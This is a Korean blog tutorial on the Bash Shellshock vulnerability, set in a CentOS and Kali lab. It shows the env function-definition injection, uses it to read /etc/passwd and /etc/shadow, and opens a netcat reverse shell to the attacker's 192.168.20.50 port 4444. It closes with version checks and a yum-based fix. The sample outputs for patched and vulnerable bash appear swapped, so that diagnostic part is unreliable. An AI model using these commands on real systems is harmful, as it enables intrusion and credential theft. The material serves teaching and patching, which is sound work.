@ 05_Bash Shellshock 취약점
1. Bash Shellshock 취약점
- Bash 쉘을 이용하여 명령어을 실행했을때, 그에 대응하는 결과 뿐만 아니라, 다른 결과까지 실행되는 취약점이다.
- Bash Shellshock 취약점 관련 기사 : http://www.ddaily.co.kr/news/article.html?no=122932
- 참고 사이트 : https://www.exploit-db.com/exploits/34765
- env x='() { :;}; ' 명령은 함수 형식으로 환경변수를 설정하는 방법이다.
- 만약, 명령어가 끝나는 ; 뒤에 오는 명령어는 오류가 발생되거나, 실행되지 않는게 원칙이다.
- 취약점이 있는 경우에는 echo vulnerable의 환경 변수를 이용하여 "echo this is a test" 를 실행하게 된다.
- 이때 { :;}; 에서 ':'는 참을 의미하기 때문에 무조건 함수가 실행된다.
- 리눅스에서 ;(세미콜론)를 메타캐릭터로 인식하여 명령어 이어쓰기가 되면서 발생하는 취약점이다.
[Bash Shellshock 취약점이 없는 경우]
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
this is a test
[Bash Shellshock 취약점이 있는 경우]
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
2. CentOS Bash Shellshock 취약점 진단
1) Bash Shellshock 취약점 진단
[root@CentOS /root]# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
2) Bash Shellshock 취약점을 이용한 계정 정보 확인
[root@CentOS /root]# env x='() { :;}; cat /etc/passwd' bash -c "echo this is a test"
3) Bash Shellshock 취약점을 이용한 Reverse TCP 연결
공격자 타겟(Bash Shellshock 취약점 발견)
Kali(192.168.20.50) CentOS(192.168.20.200)
TCP Port 4444 대기 상태 <- Syn
- Kali에서 'nc'를 이용하여 TCP 포트 4444 연결 대기 상태로 설정한다.
root@kali:~# nc -nvlp 4444
- Kali에서 다른 터미널창을 이용하여 TCP 포트 4444 연결 대기 상태를 확인한다.
root@kali:~# netstat -nltp
- CentOS에서 Bash Shellshock 취약점을 이용한 Reverse TCP 연결을 실시한다.
[root@CentOS /root]# cd nc
[root@CentOS /root/nc]# env x='() { :;}; ./nc -e /bin/bash 192.168.20.50 4444' bash -c "echo this is a test"
- Kali에서 Reverse TCP 연결 상태를 확인한다.
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.20.50] from (UNKNOWN) [192.168.20.200] 36966
id
whoami
pwd
uname -a
python -c 'import pty;pty.spawn("/bin/bash")'
[root@CentOS /root/nc]# cat /etc/passwd
[root@CentOS /root/nc]# cat /etc/shadow
- Kali에서 다른 터미널창을 이용하여 TCP 포트 4444 연결 상태를 확인한다.
root@kali:~# netstat -ntp
- Kali에서 nc 프로세스를 종료한다.
[root@CentOS /root/nc]# (Ctrl+C)
root@kali:~#
- CentOS에서 nc 프로세스를 종료한다.
[root@CentOS /root/nc]# env x='() { :;}; ./nc -e /bin/bash 192.168.20.50 4444' bash -c "echo this is a test"
(Ctrl+C)
[root@CentOS /root/nc]# cd
[root@CentOS /root]#
3. Bash Shellshock 취약점 해결
- Bash Shellshock 취약점을 갖고 있는 대표적인 버전은 다음과 같다.
bash-4.2.45-5.el7_0.2
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_4.1
bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-24.el5_6.1
bash-3.2-32.el5_9.1
bash-3.2-32.el5_9.2
bash-3.0-27.el4.2
- CentOS에서 Bash 버전을 확인한다.
[root@CentOS /root]# rpm -qa | grep bash
- Bash Shellshock 해결 방법은 다음과 같이 다른 버전으로 업데이트를 실시한다.
[root@CentOS /root]# yum -y install bash // 만약, 오류가 나면 밑에 [참고]를 확인한다.
~ 중간 생략 ~
[root@CentOS /root]# rpm -qa | grep bash
bash-3.2-33.el5_11.4
- Bash Shellshock 취약점이 있는지 확인한다.
[root@CentOS /root]# env x='() { :;}; cat /etc/passwd' bash -c "echo this is a test"
this is a test
[참고] CentOS 5.10 Yum Repo 변경
cat << 'EOF' > /etc/yum.repos.d/CentOS-Base.repo
[base]
name=CentOS-$releasever - Base
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra
baseurl=http://linuxsoft.cern.ch/centos-vault/5.11/os/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
#released updates
[updates]
name=CentOS-$releasever - Updates
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra
baseurl=http://linuxsoft.cern.ch/centos-vault/5.11/updates/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
#additional packages that may be useful
[extras]
name=CentOS-$releasever - Extras
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra
baseurl=http://linuxsoft.cern.ch/centos-vault/5.11/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-$releasever - Plus
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus&infra=$infra
baseurl=http://linuxsoft.cern.ch/centos-vault/5.11/centosplus/$basearch/
gpgcheck=1
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
#contrib - packages by Centos Users
[contrib]
name=CentOS-$releasever - Contrib
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=contrib&infra=$infra
baseurl=http://linuxsoft.cern.ch/centos-vault/5.11/contrib/$basearch/
gpgcheck=1
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
EOF
'시스템 보안' 카테고리의 다른 글
레지스터 구조 (0) | 2022.07.06 |
---|---|
Metasploit (0) | 2022.07.04 |
nmap 스캔 도구 (0) | 2022.07.02 |
Bind&Reverse TCP (0) | 2022.06.30 |